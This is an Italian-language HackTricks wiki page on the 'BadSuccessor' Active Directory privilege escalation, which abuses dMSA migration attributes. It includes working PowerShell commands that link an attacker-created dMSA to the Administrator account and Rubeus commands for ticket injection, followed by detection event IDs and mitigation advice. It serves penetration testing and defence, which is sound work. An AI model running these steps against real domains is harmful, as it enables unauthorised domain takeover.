mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
102 lines
5.7 KiB
Markdown
102 lines
5.7 KiB
Markdown
# BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Panoramica
|
||
|
||
Gli Account di Servizio Gestiti Delegati (**dMSA**) sono il successore di nuova generazione degli **gMSA** che verranno inclusi in Windows Server 2025. Un flusso di lavoro di migrazione legittimo consente agli amministratori di sostituire un account *vecchio* (utente, computer o account di servizio) con un dMSA preservando in modo trasparente i permessi. Il flusso di lavoro è esposto tramite cmdlet PowerShell come `Start-ADServiceAccountMigration` e `Complete-ADServiceAccountMigration` e si basa su due attributi LDAP dell'**oggetto dMSA**:
|
||
|
||
* **`msDS-ManagedAccountPrecededByLink`** – *DN link* all'account superseded (vecchio).
|
||
* **`msDS-DelegatedMSAState`** – stato di migrazione (`0` = nessuno, `1` = in corso, `2` = *completato*).
|
||
|
||
Se un attaccante può creare **qualsiasi** dMSA all'interno di un OU e manipolare direttamente quei 2 attributi, LSASS e il KDC tratteranno il dMSA come un *successore* dell'account collegato. Quando l'attaccante si autentica successivamente come dMSA **eredita tutti i privilegi dell'account collegato** – fino a **Domain Admin** se l'account Administrator è collegato.
|
||
|
||
Questa tecnica è stata coniata **BadSuccessor** da Unit 42 nel 2025. Al momento della scrittura **non è disponibile alcuna patch di sicurezza**; solo il rafforzamento dei permessi dell'OU mitiga il problema.
|
||
|
||
### Prerequisiti per l'attacco
|
||
|
||
1. Un account che è *autorizzato* a creare oggetti all'interno di **un'Unità Organizzativa (OU)** *e* ha almeno uno dei seguenti:
|
||
* `Create Child` → **`msDS-DelegatedManagedServiceAccount`** classe di oggetti
|
||
* `Create Child` → **`All Objects`** (creazione generica)
|
||
2. Connettività di rete a LDAP e Kerberos (scenario standard di dominio unito / attacco remoto).
|
||
|
||
## Enumerazione delle OU vulnerabili
|
||
|
||
Unit 42 ha rilasciato uno script di supporto PowerShell che analizza i descrittori di sicurezza di ciascuna OU e evidenzia le ACE richieste:
|
||
```powershell
|
||
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local
|
||
```
|
||
Sotto il cofano, lo script esegue una ricerca LDAP paginata per `(objectClass=organizationalUnit)` e controlla ogni `nTSecurityDescriptor` per
|
||
|
||
* `ADS_RIGHT_DS_CREATE_CHILD` (0x0001)
|
||
* `Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8` (classe oggetto *msDS-DelegatedManagedServiceAccount*)
|
||
|
||
## Passi di Sfruttamento
|
||
|
||
Una volta identificato un OU scrivibile, l'attacco è a solo 3 scritture LDAP di distanza:
|
||
```powershell
|
||
# 1. Create a new delegated MSA inside the delegated OU
|
||
New-ADServiceAccount -Name attacker_dMSA \
|
||
-DNSHostName host.contoso.local \
|
||
-Path "OU=DelegatedOU,DC=contoso,DC=com"
|
||
|
||
# 2. Point the dMSA to the target account (e.g. Domain Admin)
|
||
Set-ADServiceAccount attacker_dMSA -Add \
|
||
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}
|
||
|
||
# 3. Mark the migration as *completed*
|
||
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
|
||
```
|
||
Dopo la replicazione, l'attaccante può semplicemente **logon** come `attacker_dMSA$` o richiedere un TGT Kerberos – Windows costruirà il token dell'account *superseded*.
|
||
|
||
### Automazione
|
||
|
||
Diversi PoC pubblici avvolgono l'intero flusso di lavoro, inclusi il recupero della password e la gestione dei ticket:
|
||
|
||
* SharpSuccessor (C#) – [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
|
||
* BadSuccessor.ps1 (PowerShell) – [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
|
||
* Modulo NetExec – `badsuccessor` (Python) – [https://github.com/Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
|
||
|
||
### Post-Exploitation
|
||
```powershell
|
||
# Request a TGT for the dMSA and inject it (Rubeus)
|
||
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
|
||
Rubeus ptt /ticket:<Base64TGT>
|
||
|
||
# Access Domain Admin resources
|
||
dir \\DC01\C$
|
||
```
|
||
## Rilevamento e Caccia
|
||
|
||
Abilita **Audit degli Oggetti** su OUs e monitora i seguenti Eventi di Sicurezza di Windows:
|
||
|
||
* **5137** – Creazione dell'oggetto **dMSA**
|
||
* **5136** – Modifica di **`msDS-ManagedAccountPrecededByLink`**
|
||
* **4662** – Modifiche specifiche agli attributi
|
||
* GUID `2f5c138a-bd38-4016-88b4-0ec87cbb4919` → `msDS-DelegatedMSAState`
|
||
* GUID `a0945b2b-57a2-43bd-b327-4d112a4e8bd1` → `msDS-ManagedAccountPrecededByLink`
|
||
* **2946** – Emissione TGT per il dMSA
|
||
|
||
Correlare `4662` (modifica dell'attributo), `4741` (creazione di un account computer/servizio) e `4624` (accesso successivo) evidenzia rapidamente l'attività di BadSuccessor. Le soluzioni XDR come **XSIAM** forniscono query pronte all'uso (vedi riferimenti).
|
||
|
||
## Mitigazione
|
||
|
||
* Applica il principio del **minimo privilegio** – delega solo la gestione degli *Account di Servizio* a ruoli fidati.
|
||
* Rimuovi `Create Child` / `msDS-DelegatedManagedServiceAccount` da OUs che non lo richiedono esplicitamente.
|
||
* Monitora gli ID evento elencati sopra e invia avvisi su identità *non-Tier-0* che creano o modificano dMSA.
|
||
|
||
## Vedi anche
|
||
|
||
{{#ref}}
|
||
golden-dmsa-gmsa.md
|
||
{{#endref}}
|
||
|
||
## Riferimenti
|
||
|
||
- [Unit42 – When Good Accounts Go Bad: Exploiting Delegated Managed Service Accounts](https://unit42.paloaltonetworks.com/badsuccessor-attack-vector/)
|
||
- [SharpSuccessor PoC](https://github.com/logangoins/SharpSuccessor)
|
||
- [BadSuccessor.ps1 – Pentest-Tools-Collection](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
|
||
- [NetExec BadSuccessor module](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|